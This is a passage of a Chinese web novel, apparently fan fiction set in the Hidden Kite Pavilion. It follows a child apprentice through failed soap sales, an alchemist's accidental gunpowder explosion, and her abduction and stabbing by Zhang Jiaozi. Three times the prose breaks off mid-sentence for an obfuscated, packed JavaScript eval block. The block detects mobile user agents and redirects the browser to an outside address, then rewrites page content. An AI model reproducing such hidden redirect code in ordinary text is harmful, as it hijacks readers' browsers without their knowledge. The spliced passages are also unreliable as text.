辩儿起来之后甩开了搀扶他的人的手,靠过来问:“没摔疼吧?” “没事!”小宝接道,“就是……哈哈……衣服弄脏了!!” “等会儿还要见史君呢,咱们三个一身泥巴……”我气到窒息,恹恹提醒她们两个。 小宝挠了挠后脑勺,一脸“那怎么办”的傻样。 辩儿又笑了,顺手拿起我放在地上的篮子递给他身后的人,“没关系的,史君不会骂我们的。” “对啊!史君很温柔的!梨树你不要怕!”小宝右手攥拳往摊开的左手上一砸,朝我露出一个“那没事了!”的阳光笑容。 ……我很想说我并不是怕挨骂,而是我觉得以一个泥猴的状态去见长辈很不合适。 但是鉴于我也不是唯一一个泥猴……看她们两个的样子好像觉得这个情况也没什么失礼的。 又想到史君的性格,那样的人不像是会觉得孩子失礼便要大发雷霆的封建家长。 算了,随他们两个去好了。 我的篮子被辩儿交给工作人员拿着了。路过那位少年时,我看着他微微鞠了一躬表达谢意。 他好像被我的行为吓到了,往旁边微微一闪,没有敢接我的致谢。他好像还想开口说些什么,但我被小宝和辩儿拉着手拉走了,他没能开口。 “史君的炼丹房在哪里啊?”我问道。 “离云帝宫不远的!”小宝回答我,“走一小会儿就到了!鸢房离得也很近,我们等会儿去看小鸟吧!” “好……”竟然这么丝滑地就决定了等会儿的目的地吗。 “虽然离得很近,但是师尊不让我们去那边玩呢。”小宝说到这里脸上浮现了一些不满,“说是那边很危险,不让我们随便靠近。” 啊,是怕炼丹的火烫着她们吧,对小孩子来说确实很危险。 “是啊,毕竟那边时不时就会……”辩儿一边接话,一边慢慢走下山阶。 会什么……?? 突然一阵巨大的声音响起,霎时一阵地动山摇! 待巨声消弭,我惊魂未定地看向声音传来的方向。 什么情况……??? “啊,又爆炸了。”辩儿无奈地接上了自己刚刚没说完的话。 什么又爆炸了???史君那边吗??? 小宝看见我呆滞的样子笑喷了,“梨树你胆子好小!” 是你们两个遇到爆炸还不惊讶比较奇怪吧!!! 那位史君前辈到底是什么人啊!明明看起来既温柔又天然呆,怎么背着我们当炸弹狂魔啊! 这个反差是否有点太大了…… —— 来到史君炼丹的院子门前,我牵着她们两个的手稍微用了用力,阻止了打算就这么忽略被炸得面目全非的院门直接进去的两人。 万一里面还有没炸干净的……再来一次…… 我们三个也会被炸飞的。 说真的我已经想放下东西跑路了…… “这次好严重哦。”辩儿说道,“以前最多只是炉盖炸飞出去……史君他没事吧……” “史——君———”小宝探出上半身向院子里喊道,“我们来啦——” “啊!好孩子……你们来啦!” 从更里面还算完好的宫室里,熟悉但狼狈的身影跌跌撞撞地走了出来。 史君一身灰尘,花花绿绿的,像是某种中药的粉末。他的冠是散的,很委屈地勉强挂在发髻上晃晃悠悠。 胸前甚至还湿了一片…… “啊,这个……”他看到我在看他胸前,不好意思地拂了拂——当然是没什么用的,反而那些粉末沾了水显得更脏了——“刚刚在磨药呢,院子里的窑突然就爆炸了……好奇怪啊,只是掺了点硝土和硫磺在药里,怎么就爆炸了呢……” 哪里奇怪了,这不是必然的结果吗。 疑似火药被发现的关键历史节点竟然以一种这么让人无语的样子展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536101|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在我眼前……我看着凑过去黏着史君的小宝的辩儿一阵语塞。 对了,趁这个机会…… “史君,多谢您之前借晚辈天平。晚辈做成了一些净体药皂,师父命我带一些答谢您。” “啊,辛苦你了呀,那么远专门给我送来……元直也真是的,太客气了……” 他唠唠叨叨地从那少年手中接过了篮子,小宝和辩儿一边一个抱着他的腿,我看他在这种情况下还要走过来,心里叹了口气,赶忙提起裙摆迈过废墟向他走过去。 “啊。”他看我过来了,脸上露出了开心的神情,伸出手示意我把手给他。 他一手牵着我,一手提篮子,腿上还带着两个挂件,千辛万苦地回了屋内。 史君的炼丹房还挺大的,里面用书架做屏风,隔开了几个空间。 他将我们领到了最里面的隔间。这里离门口最远,受到波及的程度明显比较轻,不像最外面的那个看起来是书房的隔间,书架被爆炸震得半倒不倒,竹简落了一地。 “好孩子们,你们先玩着,我去收拾一下……” 史君抬手揉了揉他身侧的两个小脑袋。小宝和辩儿松开了他的腿,跑进了隔间。我站在史君背后,他转过身,笑着也摸了摸我的头。 我看着他离开的背影,又转头看了看隔间内。 隔间里放着一张看起来很像沙发床的东西,上面和地面上堆满了各种玩具。辩儿熟门熟路地拾起地上的一个玩具小推车,坐在地上和小宝玩了起来。 ……趁她俩没注意到我,赶紧跑! 天呐要是被留下就要哄一下午孩子了,我不要! “嗯?”史君看见我跟上来有点惊讶,“怎么了呀,怎么不去玩?” 我摇头,看着他说,“我帮史君收拾房间。” “哎呀……不用的呀,真是个懂事的孩子……”他还要摸我的头,我赶忙躲开,“其实我还有一些问题想请教史君!” 火药的材料……如果能从史君这里拿到的话,今后说不定会有大用处。 还要问他这附近有没有能自产树胶的植物,还有要去哪里买中药…… “孩子,你想要什么药呀?” 他站在高处,往摆正了的书架上重新放竹简进去,我则在下面帮他递竹简。 “唉?史君这里有吗?” “只有一些常见的药材呢……” “常见的就可以!我想要一些薄荷和金银花。如果有陈皮也想要。”我答道。 薄荷自然不用提,金银花有败火的功效的同时味道也不苦涩,非常适合加在牙膏里。 要陈皮就单纯是想要一个柑橘的味道了。 以及…… “还想要一些有粘粘的胶的植物。”我说。 “粘粘的胶……?要那个做什么呀……”他很不解,“有倒是有的。我院子里有一些猕猴桃藤,泡过水后会有胶,你拿一些走吧。” 竟然有!“多谢史君!” “哎呀……”他笑得很不好意思,摆好最上层的竹简后从梯子上爬了下来。 “等东西做好了,晚辈再拿来给史君过目。”我说,“给史君添麻烦了。” 他温柔地摸了摸我的脑袋,笑着说,“只是一点东西而已,没什么麻烦的呀。” 我们一起收拾干净了屋内。院子里损坏严重的部分需要上报阁中走公账,过段时间才能修好。因为这个,史君这段时间会在云帝宫暂住。 小宝和辩儿因为接下来会有史君哄睡的日子到来雀跃不已,回云帝宫的路上,两个孩子一左一右牵着史君叽叽喳喳。我挎着小竹篮走在后面,看着她们的幸福童年,不自觉笑了起来。 不管来到什么样的世界,人间美好的东西总是相似。 ……突然很想徐庶。快点回家吃晚饭吧。 就在此时,我感觉身边的环境异常了一瞬间。余光中似乎瞥见了什么特别古怪的东西,与这个温馨的气氛截然不同。但它消失得太快了,我才刚刚意识到它的存在,它就不见了。 ?发生什么事了……我试图找到不对劲的地方,但环顾四周,什么事情也没发生。回头看了一眼工作人员们,他们都只是静静跟着,其中有人甚至放松到一边走路一边发呆。 ……是我的错觉? 10. 初来10 来到这个世界已经有一段日子了,天气在不知不觉中渐渐冷了起来。 每天早上的训练时间开始前,需要给自己准备一件披风,来让刚刚锻炼完的身体不着凉。 没有电灯的世界真的好麻烦……我捞起搭在架子上的毛巾边擦汗边想。 因为没有灯,太阳下山之后就无法再做任何需要在户外进行的活动,因此训练的时间被徐庶安排在了一大早开始,方便她监督我们的训练状态。 但是这个作息对孩子来说似乎是太辛苦了……自从天渐渐冷起来后,她们两个缺勤的次数越来越多。 徐庶每天都会去喊她们两个起床——基本要花费半个小时以上(体感,毕竟身边也没有表),而且时不时还会失败,经常只有我上徐庶的一对一补习班。 虽然说应当是剑术课,但徐庶目前教我们剑术方面的知识很少。考虑到不能伤及根本,她大部分时候只会带着我们进行较低强度提升耐力的基础训练。 两个孩子不来的时候,徐庶会安排我跟她一起跑山道,从山脚一路往上,一直到云帝宫。一开始甚至跑不到半山腰就连站起来的力气都没有了,需要徐庶背我回去。 而且因为没有运动鞋和柔软的棉袜,脚也变得伤痕累累,几乎隔几天就会磨出几个新的水泡来。 不过这项训练也确实很有效果——在经历了最近几个月的爬山之后,我的耐力和体力都提升了一大截。 配合每晚在小世界的运功修炼,内外兼修下,总算感觉自己不是个特别柔弱的小孩子了。 现在是个健壮得像小牛犊的小孩子! 多亏了体质提升,哪怕是有点冷的季节,锻炼完我也敢给自己洗个简单的澡。 训练结束回家后徐庶会帮我热一些水——她觉得让我碰炭火很危险——我在她帮忙热水的时间里,先用打湿的丝瓜络和掺了皂液的皂角水搓出的泡沫洗一遍全身和头发,然后用热水冲洗干净泡沫。 自从之前被徐庶发现我每天在院子里给自己冲凉水澡之后,她似乎觉得这样非常不妥,于是把家里那个杂物间收拾了一片空地出来放置浴盆,做了个简易的洗漱间。 有了专门的洗漱间之后真的暖和了许多。山上冷得快,如果还在院子里洗一定会很容易感冒的。 只是很辛苦徐庶。要每天帮我烧水,还要把脏水搬去后院倒掉。 炭火的钱倒是不太紧张了——在经过这几个月的周转之后,赚来的钱虽然不算多,但也还是可以覆盖我和徐庶日常生活之外的小开支。 经济问题初步解决之后,感觉目前的人生都没有让我特别焦虑的事情了……我躺在院子里的摇椅上,回想几个月前的事情。 —— 我看着面前的两个原封不动的陶罐,明明只是初秋却感觉如坠冰窟。 “总之……这两罐在我那也放了挺久了,一直没卖出去,所以……就给你们送回来了。”徐霞前辈一边说着,一边摸了摸后脑勺,“还有这些,是卖出去的那一罐的钱。” 她这样说着,又推了几个钱串过来。 “……哦,好,辛苦你了阿霞!今晚去喝一杯啊!”徐庶见我只顾着抱着陶罐发呆不回话,开口跟徐霞寒暄。 “辛苦前辈了。”我这才回过神来,赶紧转身向她行礼道谢。 “客气客气!我也没做什么……”她一边说着,一边和徐庶勾肩搭背地出去了。 怎么办…… 我手抚上面前的两个陶罐。罐内的皂液一如我送去时那样清澈透亮。 现实和我想象的完全不一样…… 我想要追出去,去问徐霞前辈为何我的皂液卖不出去,可才往前迈了一步,就突然想起徐庶叮嘱我的。 暂时还不能让别人知道这东西是我做的。 如果被别人知道这东西出自一个幼童之手,更加不会有人愿意买了。 我独自在屋内失魂落魄之际,徐庶回来了。 她走到我身边蹲了下来,把我拉到她面前,抬手擦了一把我的脸——脸上湿湿的,我自己都没发觉我竟然哭了,我想翻出口袋里的手帕擦脸,但是还没找到,脸上的眼泪就被徐庶用手擦得干干净净。 “哭什么啊宝!”她语气很轻快,手臂绕过我的膝弯把我抱了起来,“卖出去了一罐呢!多厉害啊!不哭了不哭了……多大点事……” 哪里厉害了,三罐只卖出去了一罐。我的头脑很清醒,但是控制不住眼泪,不知道为什么。 白白费了这么多功夫,一门心思只知道埋头做自以为对的事,既没有做市场调研也没有做产品介绍,能卖得出去才怪。 完全忘记了自己身处古代的现实,皂液对这里的人们来说是从没见过的东西,价格又高昂,怎么会有人花大价钱买一个根本不清楚有没有用的东西回去呢。 到头来,还要又亏了钱又费了心的徐庶来安慰我这个自以为是的蠢货。 “好啦……剩下的就当师父买了好不好?咱们自己留着用嘛……好了乖乖……” 不是的。 “我不……不是想要零花钱。”我努力把眼泪咽下去,抱着她的脖子把脸埋进她怀里,“我很认真地做了……质量很高的……” “真的……是很有用的东西……你给我买的东西我都没有浪费掉……” “嗯。” 她一下一下拍着我的背,没再说什么,只是任由我流泪。 —— “净体药,没卖出去吗。” 我看着面前的餐食,难过得一口也吃不下。 也不想理他。 左君看出了我没心思回答他,似乎看了徐庶一眼,徐庶开口道:“卖出去了……卖了好几吊钱呢!是不是梨梨?”她的手环过来,上下轻搓着我的手臂,催我回话。 “……只卖出去了一罐。”我闷闷开口。 我也没什么心思去算这一罐回没回做它的本钱。生意做不起来,以后也不可能让徐庶再往里投钱,那两罐皂液用完之后还是要回到用皂角的日子。 ……感觉未来的人生一片灰暗,想到这一点我更没胃口了。 “什么呀!”小宝无忧无虑的声音在桌子那边响起,她坐在左君旁边,吃得满脸糕点碎渣。 左君拿起帕子仔细给她擦干净了脸,边擦边开口道,“若是在外销路不通,卖来云帝宫如何。” 什么? 我惊讶抬头,“师尊您需要吗?” “嗯。比起寻常皂角,此物确实会令体肤更洁净。她也很喜欢。”左君顺手摸了摸小宝的头发。 “确实呢,拿来洗衣服也能洗得很干净,很好用啊。”史君在我旁边开口附和,“一时没能卖出去也不必太忧虑,好东西总不会埋没的。” 我抬头看向史君,又看向左君,心里五味杂陈。 我或许真的太心急了。就算我的内心是个成年人,但小孩子的外表注定了一些事情是现在的我做不到的。 在我的设想里,完全不依靠长辈独立生活的日子,实在是还太遥远。 认清现实。力量要一点一点积攒,我没有办法一夜之间变成一个大人。 “……师尊和史君若是需要此物,只要备下原材料喊我去做就行了。”我开口道,“何谈买卖呢。” 跟他们提卖货总感觉跟要零花钱的性质也差不多……我不想那样。 还不如纯粹一点,只是帮忙加工。这样也不会因为皂液滞销生疏了手艺。 史君从见面开始,看着我时脸上就挂着隐隐的担忧,听我说完这句话后脸上的担忧才消散。左君看着我微微颔首,“此物制作不易,做了多少,吾将你的工钱算进元直的雇钱里。你需要什么,自行去小作坊中问他们取即可,无需再来过问吾。” “莫要因为一时受挫散了心气。用饭吧。”他一边这么说着,一边端起汤羹舀了一勺吹凉,喂给小宝。 徐庶轻轻拍了拍我的后背,我塞了一口饭进嘴里。 吃饱了才有力气干活。总之下午先去小作坊瞧瞧再说。 这个时代拥有自己资产和土地的地主,他们日常生活中需要的日用品,大多出自自家的庄园和作坊,少部分自家无法生产的特产或者奢侈品才会选择去购买,完全没有现代那样运转成熟的市场。 云帝宫的小作坊平日也很繁忙。他们不止要负责我们三家平日的吃穿用度,还有阁内平日的公共福利,以及过年过节阁主的赏赐也需要他们准备。 徐庶牵着我的手敲了敲门——虽然眼前的屋子本来就没有关门—— “老张!在吗!” “徐神怎么来了……”旁边干活的很多人看起来都认识徐庶,一时之间又是各种打招呼。 “张管事在里间呢,已经派人去请了……” 我看着一群人殷勤地围着徐庶转来转去,不多时,更里侧的房间出来一个胖胖的中年男人,他一路半走半跑着,从远处就热情地招呼起来: “哎呀!哈哈……稀客稀客!徐神怎么有空来我们这儿玩?这是……” 他走到近前,惊讶地看向我,又转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536102|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看向徐庶。徐庶开口道:“哦,我新收的小徒弟。老张,跟我说说你们这儿东西都放在哪,最近新得了一个方子,东西要给阁主做一些备下。” “喔唷我就说嘛,您无事不登三宝殿……” 张管事一边招呼着,一边带着我们往里面走。 这个地方比我想象之中的要大得多。 我们进入的房间放着很多“成品”,有很多布料和成衣,还有一些柜子上摆着文房四宝类的物品,似乎就是这个小作坊取货的地方。 从这个房间的后门进去,就是一个很宽阔的四方院子。院子里靠左手边的房间前面架着一些用来晾衣服的架子,似乎是洗衣房。 “库房在这边……”我听见那位张管事与徐庶往相反的方向走了,赶紧收回目光跟上去。 从刚刚晾衣服的院子往右手边走,穿过一个走廊后到了另一处院子。这边的院子比起外面热闹了很多也宽阔了许多,院子里围着几个鸡窝和兔子窝,还有一个羊棚,一群人围在一起,似乎是在打牌。 张管事见他们白日里不务正业,上前骂了一句:“天天就知道窝在这耍,活都干完没得?” 一群人嘻嘻哈哈地散了,张管事嘴上又用蜀地方言骂了两句,才挂着不好意思的表情看向徐庶,“这两天事儿少,他们就散漫了,您别见怪……” “我管你们这个干嘛。”徐庶笑了两声。 那张管事听了徐庶这话又是陪笑两句,这几句话的功夫,我们已经走到了这个院子里看起来最大的房间门口,张管事从怀里掏出钥匙打开了门。 仓库里比我预想的要更整洁,各类材料分门别类地码放着。只是没有见到粮袋,粮仓或许单独在另外的地方。 “您看看,东西若有不全的我们再去准备。”张管事道。 “仓库里可还有猪油?”徐庶开口问道。 “有的有的,我去给您找来……”张管事进到仓库深处去了,徐庶见他走远,俯下身来小声问我:“梨梨,你做的那些东西还要什么来着?” “还要草木灰和石灰……”咦,这个年代有石灰吗?我突然意识到这个问题,徐庶却已经看起来了然了,大声往张管事在的方向喊道:“还要一些草木灰跟石灰!” ……啊,所以说是有现成的石灰的?那我之前辛辛苦苦烧贝壳算什么…… 我郁闷了一下。闭门造车就这样子,很容易因为信息差做多余的努力。 今后如果有机会跟更多人交流就好了。我在心里这样想。 “石灰还有这些……草木灰,在下去问厨房要一些……”张管事要走,徐庶开口拦下了他,”不用专门搬来了,我们做这东西也要去厨房,一起过去吧。” 厨房在一开始的院子,与洗衣房是隔壁。 从院子里开的门是厨房的后门,还有一道前门更靠近云帝宫的餐厅,也是我之前做皂液的时候走过的门。 我和徐庶看着张管事跟厨房的负责人交流,过了一会儿,张管事走了过来,“他们说草木灰没有好的,都是些烧火剩下的,您看……” 徐庶直接看向了我问道,“能用吗?” “哎?……啊,能的,直接在灶台里铲出来就行。” “行,我们这就去准备……” “啊,”我突然想起一件事,叫住了他,“如果有闲置的水缸也请准备一个,把草木灰铲进去用水浸泡,水不用太多,能没过草木灰就行。” “是。”张管事听完我说的话后就去和厨房的负责人去准备了。 “辛苦你们了。”我回道。 因为材料的准备也需要时间,今天来熟悉一下地方和人,我和徐庶就准备回去了。 明天开始搞不好要在厨房呆个几天呢……不知道左君和史君他们用皂液的频率怎么样,东西也比较贵,还是不要一口气做太多了…… 还要把牙膏做了,还有之前做的牙刷也一起放进来。说起来,要不把草纸的材料也拜托小作坊的员工帮忙准备好了。 不知道别人上厕所都是怎么清理的,总不能每次都用布料吧……之前做的草纸已经快用完了,明天去问一下师尊他们需不需要好了…… “明天还要我陪你吗?”徐庶捏了捏我的手问。 我回过神抬头看她,摇了摇头,“要在厨房呆一天,很辛苦的,不用陪我。” 徐庶挑了挑眉毛,说了声“行”,揉了揉我的头发。 等过段时间,跟小作坊对接成熟之后,就能摆脱这种连日用品都缺的日子了吧…… 11. 变故1 …… 夜风呼啸。 怎么回事……睡觉前明明关窗户了呀…… 讨厌……不想醒来去关窗户……啊可是怎么越来越冷了!! 我费力翻了个身,打算起来去关窗户。 然后我就感觉到,自己的手放在了一片青草上。 我说。 怎么又遇到这种一觉醒来世界大变样的事件了。 我默默地转过身,平躺下来,呆滞地望着浩瀚美丽的夜空。 山里的星空真的很美,星云组成奇幻的河流在天上流淌。我已经很久没有欣赏这样远离城市光污染的自然美了。 只要忽略掉“我家的房顶呢”这种无关紧要的细枝末节,就能心无旁骛地欣赏美景了。 …… 到底是谁把我搬来这里的啊!以及这里是哪儿! “醒了吗。” 一道清冷得没有感情的女声在稍远处响起。 !罪魁祸首出现了!到底是谁大半夜不睡觉把我搬来搬去! 我心怀怒火猛地起身转头。 只见有一人站在悬崖边,星河之下,她像一把洁白锋利的刀,衣摆劈开尘世,仿佛要把我拉进一个玄妙的世界。 她看起来大概二十出头年纪,身姿挺拔,一身素衣。但也是一头银丝,精致美丽的脸上,一双眼睛沉静无波,抱臂静静看着我。 从来没见过的人。也是仙人吗? “……恕晚辈眼拙,不知前辈尊姓大名?”我斟酌着开口,“夜深露重,前辈深夜带晚辈来此……是有何指教?” 深更半夜把我带到这种不知哪里的地方,她想干什么?没有在得手后立刻要我的命,而是专门等我醒来……是勒索,还是寻仇? 看她的样子,好像并不在乎我会不会跑掉。还是说她已经把我带到了足够远的地方,觉得凭我自己绝对跑不回去? 如果是那样的话那情况真的有点糟了,不知道徐庶能不能发现我被绑走…… 似乎被我硬着头皮周旋的样子取悦到了,那人嗤笑一声,慢慢走近。 我坐在地上徒劳地往后挪了两步。她闲庭信步走近来,在我面前停下,弯下腰,直直盯着我。 “胆量不错。”她开口,“还以为你会大哭大闹……或者干脆吓得尿裤子。” 嗯,要是在这里的是个真正的五岁小孩,那绝对要尿裤子的。 我不知道怎么回答她的这句揶揄,只好继续用很害怕的表情看着她。 “不过你也不必害怕。”她悠悠开口,“我并不打算要你的命。” “来做我的徒弟吧。我会对你好的。” …… …… …… 什么? 我没听错吧? 我震惊地望着她,而她也坦然地回看我,看她的眼神仿佛对我会答应她这件事相当势在必得。 我傻了。 这也太疯了。仙门的生源这么紧张的吗,为了收个徒弟不惜当绑架犯? 还是不要直接回绝她了。万一激怒她,不知道她会做什么。 无论如何得想点办法…… “为什么前辈会选我?”我说道,“晚辈自认不是什么天赋异禀之人,前辈何必担负得罪阁主与徐庶前辈的风险,一定要夜闯云帝宫带走我?” “哈。”她轻笑了一声,“想了半天主意,就想出这么无聊的话来拖时间?” 听她说这话我脸不禁一烧。徐庶之前说我话少但是心思都摆在脸上,我还没太在意,竟然这么明显的吗? “不过,跟你解释解释也无妨。” 一句完全出乎我意料的话从她口中吐出。 “反正时间还有的是。” “无论如何也要带走你的理由嘛……” 她悠悠开口道,“因为我与你是同类。” “我们都是从神木中诞生的巫。” …… 大冲击。 “……你骗人。”巫是什么?神木是什么?仙和巫是不同的物种?我脑子里想着,嘴上也不敢停,“阁主说我是巫子。” “哼……”她听闻此言抬头望向远处的某个方向,仿佛在与某个人针锋相对一般,脸上浮现出了一个略带讥讽的笑意,“原来如此。他没有跟你说实话。” “是害怕精挑细选的苦力与自己离心吗……不,说不定……” 她不再看向远方,而是带着恶意满满的看热闹的表情看向我。 “是舍不得你这个身份方便的小苦力,怕你不忠心耿耿地给他的孩子卖命呢。” “不要被他骗了,”她一压眉,“你与人类和仙人都不同。你我才是同类。不想被利用殆尽后抹杀掉,就跟我走。” “前辈心意,晚辈已明晰。”我深吸一口气,尽量放慢语速,“只是前辈还没告诉晚辈您的名字。” “连前辈的名字都不知道,就算拜前辈为师,出门在外旁人问晚辈出处,晚辈该报何人名号?” 再跟她唠两句……我的左手背在身后,在地面上写下“巫”字。 这个年代的文字我完全不会写,但留下一点点线索,总比什么都不留下强吧……我这样想着。 她的表情放松了一些,似乎被我前面的话骗到了。 “吾名张姜子。” “姜前辈。” “我姓张。” “啊……抱歉……张前辈……” “罢了。”她叹了口气,“你唤我阿姜就好。” “直呼您的名字?这样是不是不太好……” “你直呼徐庶之名的时候怎么不觉得不好?”她眉头一皱,脸上开始浮现不耐,“你觉得这样亲近,那这样唤就好。” 她竟然听到过我叫徐庶的名字,之前的感觉果然不是错觉。 恐怕很久之前就在秘密监视我了吧……发现我晚上一个人睡,给了她可乘之机。 “还有很多想问你的,不过现在……” “我要保证你不会食言。所以……” ! 感觉到她打算要做什么,我发现我不能再等了——我一直在等一个她露出破绽的时机,好暂时从她的视线里离开。 我抓了一把土,在她离我很近的这个时刻,一把糊在了她的脸上。 她的身后是悬崖,无路可躲,我的身后虽看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536103|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不清,但是能感觉到植物很茂盛。 只能赌一把了,运气好的话说不定能靠深夜草丛的掩护躲一阵。 我爬起来,尽全力往身后的黑暗跑去。 这条路比我预设的要长一些……! 身后没有传来我设想的追来的脚步声。我的心里突然有了一种不祥的预感。 我听见了……空气被什么锐利的东西破开的声音。 然后,我感觉到一股巨力袭来,从我的后背贯穿了我。 …… …… 我看到它了。 是一把……剑。 跟徐庶那把金色的剑同一材质的…… 此刻,从我的背后穿透我,把我以一个斜站着的姿势,钉在了地上。 …… …… 好痛。 不能大口呼吸会扯到伤口可是好痛控制不住 好痛苦呼吸不上来肺好痛喉咙里都是血吐不干净站不住了 我会死在这里 我缓慢地,缓慢地,感受着利器撕开自己的痛楚,无力地顺着这把剑跪了下来。 “忤逆师长……看来还是得给你吃点苦头,你才愿意乖乖听话。” 那个恶魔冷酷的声音从背后传来。 “这个样子,你就没办法再做对长辈不敬的事情了吧。” 她的衣角飘到我面前。 我的眼前出现了一个雪白的,散发着微弱光芒的东西,但我看不清它。 那东西被塞进了我的嘴里。 “真是个特别的孩子……既不像我出生在建木之下,也不像其他巫……” 她在……说什么…… 风声太大了。 ……好像不是风声。只是我用破碎的身躯呼吸的声音。 …… “剑来!!!!” 从远处,随着那熟悉的声音发出的暴喝,一阵锐不可当的罡风袭来,剑阵密集如雨,带着蓬勃的杀意卷向我面前的白影。 穿透我的那把剑被抽离,没了支撑,我的身躯不受控制地向前扑倒。 但我没有直接摔到地上,有人接住了我,轻轻把我放下,站到了我身前。 已经感受不太到什么痛苦了。 意识还在,但是对身体的感觉却变得模糊了。 ……她给我吃了什么? “哈……来得不慢嘛。”张姜子森然的冷笑声从稍远处传来。 “可惜了前辈的那些小宠物。”我第一次听到徐庶这样的声音,她的喉咙里压抑着澎湃的怒火,“碎成那样,怕是拼不起来了。” “呵……” “休走!” 徐庶上前追去,不知两人争斗结果如何,很快,我感觉她回到了我身边,轻轻把我抱了起来。 我是不是在她面前哭太多次了。 麻木的身躯只有不小心抽噎的时候会感觉到痛感,我尽力忍住不要动其他地方的肌肉,只让眼泪流淌。 “没事……没事了……”她胡乱抹着我的眼泪,“回去就没事了……” 我可能撑不到回去了。 我这样想着,失去了意识。 12. 变故2 …… 吵架的声音。 徐庶在和谁吵架? …… …… …… 好 痛 每一次呼吸都带来一次比一次更重的痛感,我就在这样的情况下被迫睁开了眼睛。 这是哪? 我躺在矮床上困难地转动脖子。进入视线的是一间完全陌生的房间,我所在的地方似乎是某个大房间的角落,用了一长扇屏风将我与房间内其他地方隔开。空气中弥漫着浓重的中药味,似乎……是间药房? 伤成那个样子,竟然活下来了。身体有一种稍微动一动就会从伤口开始撕裂的感觉,我躺在床上,缓慢地呼吸。 徐庶呢?她有没有受伤?她去哪了,怎么把我一个人丢在这个陌生的地方? 就在我胡思乱想之际,一道脚步声从屏风那一侧靠近了。 熟悉的身影从屏风后绕了进来,是史君。他看起来疲惫且忧心忡忡,手里拿着一个鸭蛋青色的小瓷瓶,回身仔细地掩上屏风,连我已经醒了也没能察觉。 “史君。”我艰难地开口唤了他一声。 “哎?” 他的视线与我对上,眼里先是惊讶,而后突然反应了过来,快步走到我的床前。 “醒了,醒了就好……”他坐到了床边,胡乱地抚摸着我的脑袋,关切地看着我,“还好甘木露有用。这下元直也能放心了……” 听起来徐庶似乎没事,“史君,我师父呢?” 他听到我这话微微一顿,“说来话长……” “你一时半刻恐怕见不到你师父了。” 一个陌生的中年男人的声音从外面响起,随即屏风便被蛮横地拉开。 史君看到此人这种作为,眉头一凝,转过身把我护在身后。我躺在床上,勉强歪过脑袋,面无表情地看向来人。 那人身边弟子为他拿来一个蒲团,他坐在我与史君对面,来势汹汹。 “正好,既然这个小丫头已经醒了,那就让她老老实实地把当天的事情交代清楚!” “季山长老何必如此心急?”史君语气微怒,“这孩子身负重伤才刚刚转醒,如何能被问话?” “问不了几句!”季山长老语气倨傲,“门内出了这样的大事,身为隐鸢阁弟子,难道还能置身事外吗?” “再说,那妖女大费周章地召唤了那么多走尸,如此大的阵仗就是为了带走她,可见这小丫头对那妖女来说十分重要!” “什么妖女……阿姜她……” “史君!”季山突然用一种恨铁不成钢的语气说道,“我知你一向优柔寡断,这平日也就罢了,现在那边的手都伸向云帝宫内了,你还要偏袒那妖女?” “这次她一人来犯便让我们如此狼狈,下回若几人集结起来里应外合,我们如何应对!如何与阁主交代!你如今可是翳部首座,怎能在这种状况下拎不清呢!” 什么情况。 史君性格温吞,一时被那人说得还不了口。我见他这样,扯了扯他的衣服,“史君……发生了什么……” 不是只是我被张姜子绑架的事情吗?他们在说什么? 史君垂着头,似乎很不愿亲口诉说张姜子的恶行。我又扯了扯他的衣角,他转过头来,看到我凄惨的模样,无法再沉默,缓缓开口道:“几天前,阿姜……”他一顿,迟钝地发觉这个叫法有些不妥,“张姜子,她操纵阁内长老,带领走尸偷袭隐鸢阁,打伤门内不少弟子……带走了你。” “阁主查到那名被操纵的长老生前与她有过接触,”季山一拍膝盖,身体前探盯着我,“小丫头,那个妖女带走你之后,跟你说了什么,对你做了什么,在这老实交代,省得连累你的师父和史君。” 呜哇。怎么一睁眼就是这么烧脑的环节…… “……她要我背弃师门,我不从,她便要杀我。”我斟酌着开口道,“是师父及时赶到才救下我。我并不知道她是谁,连名字也是刚刚才得知。” “哼……这么说你是什么都不知道?”季山从鼻子里挤出一声冷哼,“那她要是在你身体里留下什么妖术,你岂不是也什么都不知道?!” …… 这个时代的人意外地还挺单纯的。竟然没有顺势污蔑而是直接把疑惑说出口了吗。 “若是有术保留在我体内,”我几乎说两个字就要停下来喘两口气,“我师父与阁主会无知无觉吗。” “你……” 一阵窸窸窣窣的说话声响起,我这才发觉好像这件大房间里面还有不少人在,他们刚刚都在沉默地听着我们的交谈,这时才开始开口讨论。 “小丫头,你懂什么……!” “季山长老又是以什么身份来问话?”我问出了在他刚刚对史君一通责问时就想问的问题,“您是奉了阁主之命吗?” 